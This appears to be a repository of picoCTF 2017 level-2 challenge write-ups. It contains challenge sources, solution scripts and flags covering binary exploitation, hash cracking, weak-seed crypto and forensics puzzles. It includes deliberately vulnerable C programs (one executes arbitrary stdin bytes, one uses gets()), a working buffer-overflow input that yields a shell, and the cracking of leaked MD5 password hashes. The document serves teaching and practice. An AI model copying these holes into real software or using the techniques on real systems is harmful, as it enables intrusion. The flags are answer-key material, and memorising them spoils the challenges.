/level-2/binary-exploitation/shellz/data/shellz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define AMOUNT_OF_STUFF 40 7 | 8 | //Learned my lesson! No more easy flags 9 | /*void win(){ 10 | system("/bin/cat ./flag.txt"); 11 | }*/ 12 | 13 | 14 | void vuln(){ 15 | char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); 16 | if(stuff == MAP_FAILED){ 17 | printf("Failed to get space. Please talk to admin\n"); 18 | exit(0); 19 | } 20 | printf("Give me %d bytes:\n", AMOUNT_OF_STUFF); 21 | fflush(stdout); 22 | int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF); 23 | if(len == 0){ 24 | printf("You didn't give me anything :("); 25 | exit(0); 26 | } 27 | void (*func)() = (void (*)())stuff; 28 | func(); 29 | } 30 | 31 | int main(int argc, char*argv[]){ 32 | printf("My mother told me to never accept things from strangers\n"); 33 | printf("How bad could running a couple bytes be though?\n"); 34 | fflush(stdout); 35 | vuln(); 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /level-2/binary-exploitation/vr-gear-console/README.md: -------------------------------------------------------------------------------- 1 | # VR Gear Console 2 | ## level 2 - binary exploitation - 95 points 3 | 4 | ### Description 5 | > Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/b7d87de6335e37e49c9ea05875fd2db7 6 | 7 | ### Hints 8 | > * What happens if you read in more characters than the length of the username buffer? 9 | > * You should look at an ascii table to see what character you need to choose. 10 | > * Numbers are stored in little-endian format, which means that the lowest byte of the number is first. 11 | > * "cat file - | vrgearconsole " will keep the pipe open for commands. 12 | 13 | ### Solution 14 | 15 | Connect via `ssh` and `cd` into `/problems/b7d87de6335e37e49c9ea05875fd2db7`, there are three files: 16 | 17 | ``` 18 | $ ls -l 19 | total 16 20 | -r--r----- 1 hacksports vr-gear-console_3 33 Apr 16 2017 flag.txt 21 | -rwxr-sr-x 1 hacksports vr-gear-console_3 7024 Apr 16 2017 vrgearconsole 22 | -rw-rw-r-- 1 hacksports hacksports 2104 Mar 14 2017 vrgearconsole.c 23 | ``` 24 | 25 | The `flag.txt` file, which we cannot read, the software we have to break and its source. Let's have a look at his source: 26 | 27 | ```c 28 | #include 29 | #include 30 | 31 | int login() { 32 | int accessLevel = 0xff; 33 | char username[16]; 34 | char password[32]; 35 | printf("Username (max 15 characters): "); 36 | gets(username); 37 | printf("Password (max 31 characters): "); 38 | gets(password); 39 | 40 | if (!strcmp(username, "admin") && !strcmp(password, "{{ create_long_password() }}")) { 41 | accessLevel = 2; 42 | } else if (!strcmp(username, "root") && !strcmp(password, "{{ create_long_password() }}")) { 43 | accessLevel = 0; 44 | } else if (!strcmp(username, "artist") && !strcmp(password, "my-password-is-secret")) { 45 | accessLevel = 0x80; 46 | } 47 | 48 | return accessLevel; 49 | } 50 | 51 | int main(int argc, char **argv) { 52 | setbuf(stdout, NULL); 53 | printf( 54 | "+----------------------------------------+\n" 55 | "| |\n" 56 | "| |\n" 57 | "| |\n" 58 | "| |\n" 59 | "| Welcome to the VR gear admin console |\n" 60 | "| |\n" 61 | "| |\n" 62 | "| |\n" 63 | "| |\n" 64 | "+----------------------------------------+\n" 65 | "| |\n" 66 | "| Your account is not recognized |\n" 67 | "| |\n" 68 | "+----------------------------------------+\n" 69 | "\n\n\n\n" 70 | "Please login to continue...\n\n\n" 71 | ); 72 | int access = login(); 73 | 74 | printf("Your access level is: 0x%08x\n", access); 75 | 76 | if (access >= 0xff || access <= 0) { 77 | printf("Login unsuccessful.\n"); 78 | exit(10); 79 | } else if (access < 0x30) { 80 | printf("Admin access granted!\n"); 81 | printf("The flag is in \"flag.txt\".\n"); 82 | system("/bin/sh"); 83 | } else { 84 | printf("Login successful.\n"); 85 | printf("You do not have permission to access this resource.\n"); 86 | exit(1); 87 | } 88 | } 89 | ``` 90 | 91 | In line 9 and 11 it uses `gets` to read user input. Just a friendly remainder, I wish to quote this paragraph on `gets` man page: 92 | 93 | ``` 94 | Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead. 95 | 96 | For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/definitions/242.html 97 | ``` 98 | 99 | They are obviously right, we can perform a buffer overflow attack to modify `accessLevel` variable, that will be returned from `login` function checked later in line 52 to get shell. The only thing we have to do is submitting an username with 16 random character and another one with an ASCII number less than `0x30`: 100 | 101 | ``` 102 | $ ./vrgearconsole 103 | +----------------------------------------+ 104 | | | 105 | | | 106 | | | 107 | | | 108 | | Welcome to the VR gear admin console | 109 | | | 110 | | | 111 | | | 112 | | | 113 | +----------------------------------------+ 114 | | | 115 | | Your account is not recognized | 116 | | | 117 | +----------------------------------------+ 118 | 119 | 120 | 121 | 122 | Please login to continue... 123 | 124 | 125 | Username (max 15 characters): aaaaaaaaaaaaaaaa! 126 | Password (max 31 characters): 127 | Your access level is: 0x00000021 128 | Admin access granted! 129 | The flag is in "flag.txt". 130 | $ cat flag.txt 131 | 8989d0261ee17bbf95ea5596711538b0 132 | ``` 133 | 134 | ### Flag 135 | ``` 136 | 8989d0261ee17bbf95ea5596711538b0 137 | ``` 138 | -------------------------------------------------------------------------------- /level-2/cryptography/leaked-hashes/README.md: -------------------------------------------------------------------------------- 1 | # Leaked Hashes 2 | ## level 2 - cryptography - 90 points 3 | 4 | ### Description 5 | > Someone got hacked! Check out some service's password hashes that were leaked at [hashdump.txt](./data/hashdump.txt)! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:30767! 6 | 7 | ### Hints 8 | > * See if you can crack any of the login credentials and then connect to the service as one of the users. What's the chance these hashes have actually already been broken by someone else? Are there websites that host those cracked hashes? Connect from the shell with nc. 9 | 10 | ### Solution 11 | 12 | Connect with `nc`, the executable will ask for username and password. We have the dump of usernames and their hashed password, suspiciously similar to MD5 hashes. We can use an online [rainbow table](https://en.wikipedia.org/wiki/Rainbow_table) to checking if we can reverse an hash, I used [this](https://hashkiller.co.uk/md5-decrypter.aspx). Copy all the hashes with this command 13 | 14 | ``` 15 | $ cat hashdump.txt | cut -d : -f 2 | pbcopy 16 | ``` 17 | 18 | Then paste in the box, solve the captcha and submit. If you have any green result just check the username associated at that hash: now you have username and password. 19 | 20 | Then connect again to `nc` and submit credentials: 21 | 22 | ``` 23 | $nc shell2017.picoctf.com 30767 24 | enter username: 25 | lilli 26 | lilli's password: f4n0n 27 | welcome to shady file server. would you like to access the cat ascii art database? y/n y 28 | [...] 29 | /\__/\ 30 | /` '\ 31 | === 0 0 === 32 | \ -- / - flag is 073983e70c4fa6c41215007b9e723c50 33 | 34 | / \ 35 | / \ 36 | | | 37 | \ || || / 38 | \_oo__oo_/#######o 39 | [...] 40 | ``` 41 | 42 | Now you have a lot of cute ASCII cats and the flag. 43 | 44 | ### Flag 45 | ``` 46 | 073983e70c4fa6c41215007b9e723c50 47 | ``` -------------------------------------------------------------------------------- /level-2/cryptography/leaked-hashes/data/hashdump.txt: -------------------------------------------------------------------------------- 1 | root:be3f7de032d2e398ec542a7df71e0417 2 | christene:50f1d600b2257c7cfd44e568c63564c1 3 | nadia:e2c1a2a69ebfa9e937b4f375c0948b40 4 | myra:3f4e535a671209f394817559372286f2 5 | sharell:e9e39bbf56f17b4b9ea35945fc7aa015 6 | lilli:3e43409c0ad006912219e703bc9aa099 7 | ilene:1f5ff8608da1e56a59d1dff059286192 8 | emiko:8b1660cfc5ce8217cb9188cc6b652e91 9 | lindsey:efa64091d18e29c53834521a169b862b 10 | deandrea:50f1d600b2257c7cfd44e568c63564c1 11 | honey:f3ab9dc32a394eb1cdf922659abcdead 12 | diana:3f4e535a671209f394817559372286f2 13 | lucretia:f3ab9dc32a394eb1cdf922659abcdead 14 | adelina:89689941d40794e311ef8bc7061b9944 15 | shala:e9ca957b80e51a398dd718a92da3060f 16 | jefferson:edc1785161d271a14ad13098300e1431 17 | leandro:bb314816ee5f70055fb2a83a5bdade59 18 | lynwood:8b1660cfc5ce8217cb9188cc6b652e91 19 | nikia:55cbbc70c9579b3459a3a68a04f8bb79 20 | rickie:a64bb7fd1868a7bac23a384d014d352d 21 | kory:ca63eab394b98edb1f1990b5fe94c0b7 22 | cordelia:dd7039976c7c7e6178868983ad026a1d 23 | hollie:96e68796a3b073205bb8d5688ded0934 24 | lula:699c0be567e2cbc16214dc4bc531cf4d 25 | sara:c2463a810b82134c6844a1ae1bcd1625 26 | dede:7655d25297b833972cf7be0da4b6ba1d 27 | jammie:7b955cc1c21559338fdaf747434f3b36 28 | kelvin:c9dd062917d9feb763b10fbcb483abfa 29 | hildegard:e9e39bbf56f17b4b9ea35945fc7aa015 30 | anabel:91f7fceef0044b405d862d132fa667e9 31 | nathalie:ca63eab394b98edb1f1990b5fe94c0b7 32 | jazmin:3e43409c0ad006912219e703bc9aa099 33 | clinton:36bb587eabcfa120e66e456d7664397a 34 | gregg:0710f636e10edae58aea9a30125239ae 35 | sheilah:edc1785161d271a14ad13098300e1431 36 | charity:36bb587eabcfa120e66e456d7664397a 37 | roselyn:dd7039976c7c7e6178868983ad026a1d 38 | denver:6cf6041fc2df249eaf313a269c5bd200 39 | sonny:2cb699789d11d94fee780859adfabb91 40 | theresia:96e68796a3b073205bb8d5688ded0934 41 | patience:bd82f1bbabad9b7d12b3b183dc0cd0af 42 | rita:e9e39bbf56f17b4b9ea35945fc7aa015 43 | karine:5e399c2d9a23e1797768d3be3de94a4f 44 | mariann:c2463a810b82134c6844a1ae1bcd1625 45 | tamela:7afabc07ef7fc64e5cb8fce8dc07533e 46 | janett:9ff497405dbd1cf3c17576629cf35475 47 | maynard:435fc037deebaf8d9e3c4a4fb3e2fac7 48 | luann:8b1660cfc5ce8217cb9188cc6b652e91 49 | beau:8b1660cfc5ce8217cb9188cc6b652e91 50 | corrie:7a4a8a79bdc17144c3b10226e1b92d60 51 | raina:36bb587eabcfa120e66e456d7664397a 52 | -------------------------------------------------------------------------------- /level-2/cryptography/sorandom/README.md: -------------------------------------------------------------------------------- 1 | # SoRandom 2 | ## level 2 - cryptgraphy - 75 points 3 | 4 | ### Description 5 | > We found [sorandom.py](./data/sorandom.py) running at shell2017.picoctf.com:55248. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag? 6 | > 7 | > Update (text only) 16:16 EST 1 Apr Running python 2 (same version as on the server) 8 | 9 | ### Hints 10 | > * How random can computers be? 11 | 12 | ### Solution 13 | 14 | Open the Python script, the flag string read from a file is ecrypted using some character shifting based on a random generated value. We can notice also that the seed is fixed, so we can generate the identical "random" numbers every time the script will be executed. 15 | 16 | Starting with this assertions we can write a script to reverse the encryption once given the input. So connect with `nc`, copy the given "randomized" flag into the script and run it: 17 | 18 | ```python 19 | import random, string 20 | 21 | input = 'BNZQ:1o0yd5jk9h256wdjsu366t10787198h9' 22 | unenc = '' 23 | 24 | random.seed('random') 25 | 26 | for c in input: 27 | if c.islower(): 28 | unenc += chr((ord(c) - ord('a') - random.randrange(0, 26)) % 26 + ord('a')) 29 | elif c.isupper(): 30 | unenc += chr((ord(c) - ord('A') - random.randrange(0, 26)) % 26 + ord('A')) 31 | elif c.isdigit(): 32 | unenc += chr((ord(c) - ord('0') - random.randrange(0, 10)) % 10 + ord('0')) 33 | else: 34 | unenc += c 35 | 36 | print unenc 37 | ``` 38 | 39 | ``` 40 | $ python rev.py 41 | FLAG:8d8ca6db4f519edeab492d55203467d9 42 | ``` 43 | 44 | ### Flag 45 | ``` 46 | FLAG:8d8ca6db4f519edeab492d55203467d9 47 | ``` -------------------------------------------------------------------------------- /level-2/cryptography/sorandom/data/sorandom.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python -u 2 | import random,string 3 | 4 | flag = "FLAG:"+open("flag", "r").read()[:-1] 5 | encflag = "" 6 | random.seed("random") 7 | for c in flag: 8 | if c.islower(): 9 | #rotate number around alphabet a random amount 10 | encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a')) 11 | elif c.isupper(): 12 | encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A')) 13 | elif c.isdigit(): 14 | encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0')) 15 | else: 16 | encflag += c 17 | print "Unguessably Randomized Flag: "+encflag -------------------------------------------------------------------------------- /level-2/forensics/just-keyp-trying/README.md: -------------------------------------------------------------------------------- 1 | # Just Keyp Trying 2 | ## level 2 - forensics - 80 points 3 | 4 | ### Description 5 | > Here's an interesting capture of some data. But what exactly is this data? Take a look: [data.pcap](./data/data.pcap) 6 | 7 | ### Hints 8 | > * Find out what kind of packets these are. What does the info column say in Wireshark/Cloudshark? 9 | > * What changes between packets? What does that data look like? 10 | > * Maybe take a look at [http://www.usb.org/developers/hidpage/Hut1_12v2.pdf?](http://www.usb.org/developers/hidpage/Hut1_12v2.pdf?) 11 | 12 | ### Solution 13 | 14 | Here we have another packet capture file. Opening with Wireshark reveals that they are USB packets, from a keyboard to a device. We can retrieve the key pressed filtering data and using the conversion table linked in the hints (page 53). 15 | 16 | First thing, every other packet have no data (`00:00:00:00:00:00:00:00`) and they are simply the release key event, we can filter out them. The actual pressed key will be found in the third byte, but we have to keep also the first one: is the byte for modifiers key, so also the shift key. 17 | 18 | We can use `tshark` and `cut` to get the data filtered and formatted: 19 | 20 | ``` 21 | $ tshark -r data.pcap -Tfields -e usb.capdata -Y "!(usb.capdata == 00:00:00:00:00:00:00:00)" | cut -d : -f 1,3 22 | 00:09 23 | 00:0f 24 | 00:04 25 | 00:0a 26 | ... 27 | ``` 28 | 29 | Then we can pipe them into this Python script to translate the bytes into the flag (and some debug code): 30 | 31 | ```python 32 | import sys 33 | 34 | CONVERSION_TABLE = { 35 | '09': 'f', 36 | '0f': 'l', 37 | '04': 'a', 38 | '0a': 'g', 39 | '00': '?', 40 | '2f': '{', 41 | '13': 'p', 42 | '15': 'r', 43 | '20': '3', 44 | '22': '5', 45 | '2d': '_', 46 | '27': '0', 47 | '11': 'n', 48 | '1a': 'w', 49 | '07': 'd', 50 | '16': 's', 51 | '1e': '1', 52 | '21': '4', 53 | '08': 'e', 54 | '30': '}', 55 | '06': 'c' 56 | } 57 | 58 | str_mod = '' 59 | str_char = '' 60 | str_byte = '' 61 | 62 | for line in sys.stdin: 63 | data = line.replace('\n', '').split(':') 64 | char = data[1] 65 | 66 | if data[0] == '01' or char == '00': 67 | continue 68 | 69 | str_mod += data[0] + ' ' 70 | str_byte += char + ' ' 71 | 72 | if char in CONVERSION_TABLE: 73 | str_char += CONVERSION_TABLE[char] + ' ' 74 | else: 75 | str_char += '? ' 76 | 77 | print str_mod 78 | print str_byte 79 | print str_char 80 | print str_char.replace(' ', '') 81 | ``` 82 | 83 | ``` 84 | $ tshark -r data.pcap -Tfields -e usb.capdata -Y "!(usb.capdata == 00:00:00:00:00:00:00:00)" | cut -d : -f 1,3 | python usb.py 85 | 00 00 00 00 20 00 00 00 00 00 20 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 20 86 | 09 0f 04 0a 2f 13 15 20 22 22 2d 27 11 1a 04 15 07 16 2d 20 04 1e 27 1e 20 21 08 30 87 | f l a g { p r 3 5 5 _ 0 n w a r d s _ 3 a 1 0 1 3 4 e } 88 | flag{pr355_0nwards_3a10134e} 89 | ``` 90 | 91 | ### Flag 92 | ``` 93 | flag{pr355_0nwards_3a10134e} 94 | ``` -------------------------------------------------------------------------------- /level-2/forensics/just-keyp-trying/data/data.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/forensics/just-keyp-trying/data/data.pcap -------------------------------------------------------------------------------- /level-2/forensics/little-school-bus/README.md: -------------------------------------------------------------------------------- 1 | # Little School Bus 2 | ## Level 2 - forensics - 75 points 3 | 4 | ### Description 5 | > Can you help me find the data in this [littleschoolbus.bmp](./data/littleschoolbus.bmp)? 6 | 7 | ### Hints 8 | > * Look at least significant bit encoding!! 9 | 10 | ### Solution 11 | 12 | The file is a bitmap image, so we can extract each pixel without any encoding, just straight data. The hint suggests us to search for [least significant bit encoding](https://en.wikipedia.org/wiki/Steganography#Example_from_modern_practice), a type of steganography that hide the message in the last bit of every pixel (8 bit per color, 24 bit total). 13 | 14 | To retrieve the message I wrote a simple Python script that read the file eight bytes at a time, foreach byte take the least significant bit, then after the eighth byte append the character from the eight bits to a string. Once the file is finished we will have the flag (and a lot of gibberish data): 15 | 16 | ```python 17 | import struct, os 18 | 19 | HEADER_SIZE = 54 20 | DELIMITER = '$' 21 | FILE = 'littleschoolbus.bmp' 22 | 23 | fh = open(FILE, 'rb') 24 | fh.seek(HEADER_SIZE) 25 | 26 | pixel_count = (os.stat(FILE).st_size - HEADER_SIZE) / 3 27 | bin_string = '' 28 | 29 | for i in range(0, pixel_count / 8): 30 | pixel = fh.read(8) 31 | pack = struct.unpack('cccccccc', pixel) 32 | char = '' 33 | 34 | for b in pack: 35 | char += str(ord(b) & 1) 36 | 37 | bin_string += chr(int(char, 2)) 38 | 39 | print bin_string 40 | ``` 41 | 42 | ``` 43 | $ python bus.pu 44 | flag{remember_kids_protect_your_headers_c1a3};lv^Y#Yd=9l;Nm$l[dw|mmO4$" Find the location of the flag in the image: [image.jpg](./data/image.jpg). Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking! 6 | 7 | ### Hints 8 | > * How can images store location data? Perhaps search for GPS info on photos. 9 | 10 | ### Solution 11 | 12 | The flag and the location are hidden into photo [EXIF](https://it.wikipedia.org/wiki/Exchangeable_image_file_format) data. I used `identify` command from `imagemagick` to retrieve them: 13 | 14 | ``` 15 | $ identify -verbose image.jpg 16 | Image: image.jpg 17 | Format: JPEG (Joint Photographic Experts Group JFIF format) 18 | Mime type: image/jpeg 19 | Class: DirectClass 20 | Geometry: 500x500+0+0 21 | Resolution: 72x72 22 | Print size: 6.94444x6.94444 23 | Units: PixelsPerInch 24 | Colorspace: sRGB 25 | Type: TrueColor 26 | Base type: Undefined 27 | Endianess: Undefined 28 | Depth: 8-bit 29 | Channel depth: 30 | Red: 8-bit 31 | Green: 8-bit 32 | Blue: 8-bit 33 | Channel statistics: 34 | Pixels: 250000 35 | Red: 36 | min: 0 (0) 37 | max: 255 (1) 38 | mean: 236.347 (0.92685) 39 | standard deviation: 40.4046 (0.158449) 40 | kurtosis: 27.6645 41 | skewness: -5.39004 42 | entropy: 0.113592 43 | Green: 44 | min: 0 (0) 45 | max: 255 (1) 46 | mean: 238.346 (0.934689) 47 | standard deviation: 40.8612 (0.16024) 48 | kurtosis: 27.7488 49 | skewness: -5.39886 50 | entropy: 0.110906 51 | Blue: 52 | min: 0 (0) 53 | max: 193 (0.756863) 54 | mean: 142.497 (0.558812) 55 | standard deviation: 24.3041 (0.0953103) 56 | kurtosis: 27.4199 57 | skewness: -5.3627 58 | entropy: 0.125959 59 | Image statistics: 60 | Overall: 61 | min: 0 (0) 62 | max: 255 (1) 63 | mean: 205.73 (0.806784) 64 | standard deviation: 35.19 (0.138) 65 | kurtosis: 1.84188 66 | skewness: -1.38897 67 | entropy: 0.116819 68 | Rendering intent: Perceptual 69 | Gamma: 0.454545 70 | Chromaticity: 71 | red primary: (0.64,0.33) 72 | green primary: (0.3,0.6) 73 | blue primary: (0.15,0.06) 74 | white point: (0.3127,0.329) 75 | Matte color: grey74 76 | Background color: white 77 | Border color: srgb(223,223,223) 78 | Transparent color: none 79 | Interlace: JPEG 80 | Intensity: Undefined 81 | Compose: Over 82 | Page geometry: 500x500+0+0 83 | Dispose: Undefined 84 | Iterations: 0 85 | Compression: JPEG 86 | Quality: 93 87 | Orientation: TopLeft 88 | Properties: 89 | comment: "Your flag is flag_2_meta_4_me___23c1. Now find the GPS coordinates of this image! (Degrees only please)" 90 | date:create: 2018-07-20T19:24:22+02:00 91 | date:modify: 2018-07-20T19:23:45+02:00 92 | exif:ColorSpace: 1 93 | exif:DateTime: 2016:02:10 11:55:56 94 | exif:ExifImageLength: 500 95 | exif:ExifImageWidth: 500 96 | exif:ExifOffset: 176 97 | exif:GPSInfo: 218 98 | exif:GPSLatitude: 11/1, 0/1, 0/1 99 | exif:GPSLongitude: 31/1, 0/1, 0/1 100 | exif:GPSVersionID: 2, 3, 0, 0 101 | exif:Orientation: 1 102 | exif:ResolutionUnit: 2 103 | exif:Software: Adobe Photoshop CS6 (Windows) 104 | exif:thumbnail:Compression: 6 105 | exif:thumbnail:JPEGInterchangeFormat: 402 106 | exif:thumbnail:JPEGInterchangeFormatLength: 6989 107 | exif:thumbnail:ResolutionUnit: 2 108 | exif:thumbnail:XResolution: 72/1 109 | exif:thumbnail:YResolution: 72/1 110 | exif:XResolution: 720000/10000 111 | exif:YResolution: 720000/10000 112 | jpeg:colorspace: 2 113 | jpeg:sampling-factor: 1x1,1x1,1x1 114 | signature: b6b522b21c9803c5b96da49ab524bae6ef91c8179d78fac1a0289978e480f5bd 115 | Profiles: 116 | Profile-8bim: 9330 bytes 117 | Profile-exif: 7398 bytes 118 | Profile-icc: 3144 bytes 119 | Profile-xmp: 3511 bytes 120 | Artifacts: 121 | verbose: true 122 | Tainted: False 123 | Filesize: 44265B 124 | Number pixels: 250000 125 | Pixels per second: 12.5MB 126 | User time: 0.010u 127 | Elapsed time: 0:01.019 128 | Version: ImageMagick 7.0.8-6 Q16 x86_64 2018-07-09 https://www.imagemagick.org 129 | ``` 130 | 131 | So the flag is `flag_2_meta_4_me___23c1`, we have to check the properties `exif:GPSLatitude` and `exif:GPSLongitude`, replace `` and `` with the proper numbers (without `/1`) and submit. 132 | 133 | You can solve it with a lot of tools, an easier way to get the informations is "Get Info" command while right-clicking the image on MacOS. Windows has a similar procedure too. 134 | 135 | ### Flag 136 | ``` 137 | flag_2_meta_4_me_11_31_23c1 138 | ``` -------------------------------------------------------------------------------- /level-2/forensics/meta-find-me/data/image.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/forensics/meta-find-me/data/image.jpg -------------------------------------------------------------------------------- /level-2/master-challenge/README.md: -------------------------------------------------------------------------------- 1 | # Missing Identity 2 | ## level 2 - master challenge - 100 points 3 | 4 | ### Description 5 | > Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one [file](./data/file) and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z. 6 | 7 | ### Hints 8 | > * What file is this? 9 | > * What do you expect to find in the file structure? 10 | > * All characters in the file are lower case or numberical. There will not be any zeros. 11 | 12 | ### Solution 13 | 14 | We have an unkown file to restore, let's check if `file` tells something useful: 15 | 16 | ``` 17 | $ file file 18 | file: data 19 | ``` 20 | 21 | Just generic data, nothing useful. At this time I took the wrong path trying extracting recursively with `binwalk`, there are a lot of files. After a dozen of tentatives I gave up and run `binwalk` without extracting on `file`: 22 | 23 | ``` 24 | $ binwalk file 25 | 26 | DECIMAL HEXADECIMAL DESCRIPTION 27 | -------------------------------------------------------------------------------- 28 | 43 0x2B PNG image, 627 x 60, 8-bit/color RGB, non-interlaced 29 | 84 0x54 Zlib compressed data, default compression 30 | 36058 0x8CDA Zip archive data, at least v2.0 to extract, compressed size: 60762, uncompressed size: 60760, name: nottheflag1.png 31 | 96865 0x17A61 Zip archive data, at least v2.0 to extract, compressed size: 54479, uncompressed size: 54459, name: nottheflag2.png 32 | 151389 0x24F5D Zip archive data, at least v2.0 to extract, compressed size: 59917, uncompressed size: 59901, name: nottheflag3.png 33 | 211351 0x33997 Zip archive data, at least v2.0 to extract, compressed size: 47730, uncompressed size: 47715, name: nottheflag4.png 34 | 259126 0x3F436 Zip archive data, at least v2.0 to extract, compressed size: 58939, uncompressed size: 58919, name: nottheflag5.png 35 | 318110 0x4DA9E Zip archive data, at least v2.0 to extract, compressed size: 49653, uncompressed size: 49689, name: nottheflag6.png 36 | 367808 0x59CC0 Zip archive data, at least v2.0 to extract, compressed size: 61868, uncompressed size: 61848, name: nottheflag7.png 37 | 430202 0x6907A End of Zip archive 38 | ``` 39 | 40 | What's the last entry saying? End of Zip archive? Why `file` cannot detect it? Let's try `unzip` it: 41 | 42 | ``` 43 | $ unzip file 44 | Archive: file 45 | file #1: bad zipfile offset (local header sig): 0 46 | inflating: nottheflag1.png 47 | inflating: nottheflag2.png 48 | inflating: nottheflag3.png 49 | inflating: nottheflag4.png 50 | inflating: nottheflag5.png 51 | inflating: nottheflag6.png 52 | inflating: nottheflag7.png 53 | ``` 54 | 55 | Ok, we have an error on the first file, there is some kind of header signature broken. Inspect it with `xxd`: 56 | 57 | ``` 58 | $ xxd file | head 59 | 00000000: 5858 5858 5858 0000 0800 2344 7f4a 6a58 XXXXXX....#D.JjX 60 | 00000010: bd98 b48c 0000 a58c 0000 0800 0000 666c ..............fl 61 | 00000020: 6167 2e70 6e67 004e 40b1 bf89 504e 470d ag.png.N@...PNG. 62 | 00000030: 0a1a 0a00 0000 0d49 4844 5200 0002 7300 .......IHDR...s. 63 | 00000040: 0000 3c08 0200 0000 8243 abc9 0000 8c6c ..<......C.....l 64 | 00000050: 4944 4154 789c dcfd 5793 ad5b 771e 868d IDATx...W..[w... 65 | 00000060: 31d3 1b56 eab8 e3d9 277e 1120 1820 4022 1..V....'~. . @" 66 | 00000070: 4c52 8698 4452 b264 89a6 252b dcb8 5c2e LR..DR.d..%+..\. 67 | 00000080: 5fb9 6cdf e80f f846 572e 5fd8 55ae 7239 _.l....FW._.U.r9 68 | 00000090: 48b6 cb14 254b b224 a254 2241 db22 0951 H...%K.$.T"A.".Q 69 | ``` 70 | 71 | Ok, the `XXXXXX` bytes are not supposed to be there. We have to replace them with the correct [file signature](https://en.wikipedia.org/wiki/List_of_file_signatures), in our case `50 4b 03 04`. To do that we can use an hex editor or perform the stunt and use `dd`: 72 | 73 | ``` 74 | $ printf '\x50\x4b\x03\x04' | dd of=file bs=1 conv=notrunc 75 | 4+0 records in 76 | 4+0 records out 77 | 4 bytes transferred in 0.000363 secs (11016 bytes/sec) 78 | $ file file 79 | file: Zip archive data 80 | $ binwalk file 81 | 82 | DECIMAL HEXADECIMAL DESCRIPTION 83 | -------------------------------------------------------------------------------- 84 | 0 0x0 Zip archive data, compressed size: 36020, uncompressed size: 36005, name: flag.png 85 | 36058 0x8CDA Zip archive data, at least v2.0 to extract, compressed size: 60762, uncompressed size: 60760, name: nottheflag1.png 86 | 96865 0x17A61 Zip archive data, at least v2.0 to extract, compressed size: 54479, uncompressed size: 54459, name: nottheflag2.png 87 | 151389 0x24F5D Zip archive data, at least v2.0 to extract, compressed size: 59917, uncompressed size: 59901, name: nottheflag3.png 88 | 211351 0x33997 Zip archive data, at least v2.0 to extract, compressed size: 47730, uncompressed size: 47715, name: nottheflag4.png 89 | 259126 0x3F436 Zip archive data, at least v2.0 to extract, compressed size: 58939, uncompressed size: 58919, name: nottheflag5.png 90 | 318110 0x4DA9E Zip archive data, at least v2.0 to extract, compressed size: 49653, uncompressed size: 49689, name: nottheflag6.png 91 | 367808 0x59CC0 Zip archive data, at least v2.0 to extract, compressed size: 61868, uncompressed size: 61848, name: nottheflag7.png 92 | 430202 0x6907A End of Zip archive 93 | ``` 94 | 95 | Bingo! Now we have the zip file uncorrupted, `unzip` it and read the flag from the picture. 96 | 97 | ### Flag 98 | ``` 99 | zippidydooda49688958 100 | ```` 101 | -------------------------------------------------------------------------------- /level-2/master-challenge/data/file: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/master-challenge/data/file -------------------------------------------------------------------------------- /level-2/misc/mystery-box/README.md: -------------------------------------------------------------------------------- 1 | # Mystery Box 2 | ## level 2 - misc - 60 points 3 | 4 | ### Description 5 | > You've found a mystery machine with a sticky [note](./data/note.txt) attached to it! Oh, there's also this [picture](./data/MysteryBox.png) of the machine you found. 6 | 7 | ### Hints 8 | > * It really gets your gears Turing. 9 | > * I hear there's something Naval about it. 10 | 11 | ### Solution 12 | 13 | From the picture attached the can evince that we are talking about the [Enigma machine](https://en.wikipedia.org/wiki/Enigma_machine), a German electro-mechanical cipher used during WWII. We have the encrypted text and its configuration in the note, just use an emulator to get the plain text. I used [this](http://enigma.louisedade.co.uk/enigma.html). 14 | 15 | ### Flag 16 | ``` 17 | QUITEPUZZLINGINDEED 18 | ``` -------------------------------------------------------------------------------- /level-2/misc/mystery-box/data/MysteryBox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/misc/mystery-box/data/MysteryBox.png -------------------------------------------------------------------------------- /level-2/misc/mystery-box/data/note.txt: -------------------------------------------------------------------------------- 1 | Geheimnis: PXQQ TAMY YDBC WGYE LVN 2 | Umkehrwalze: B 3 | Grundstellung: PPP 4 | Ringstellung: LOG 5 | Steckerbrett: G-L, H-F 6 | -------------------------------------------------------------------------------- /level-2/misc/yarn/README.md: -------------------------------------------------------------------------------- 1 | # Yarn 2 | ## level 2 - misc - 55 points 3 | 4 | ### Description 5 | > I was told to use the linux strings command on [yarn](./data/yarn), but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back 6 | 7 | ### Hints 8 | > * What does the strings command use to determine if something is a string? 9 | > * 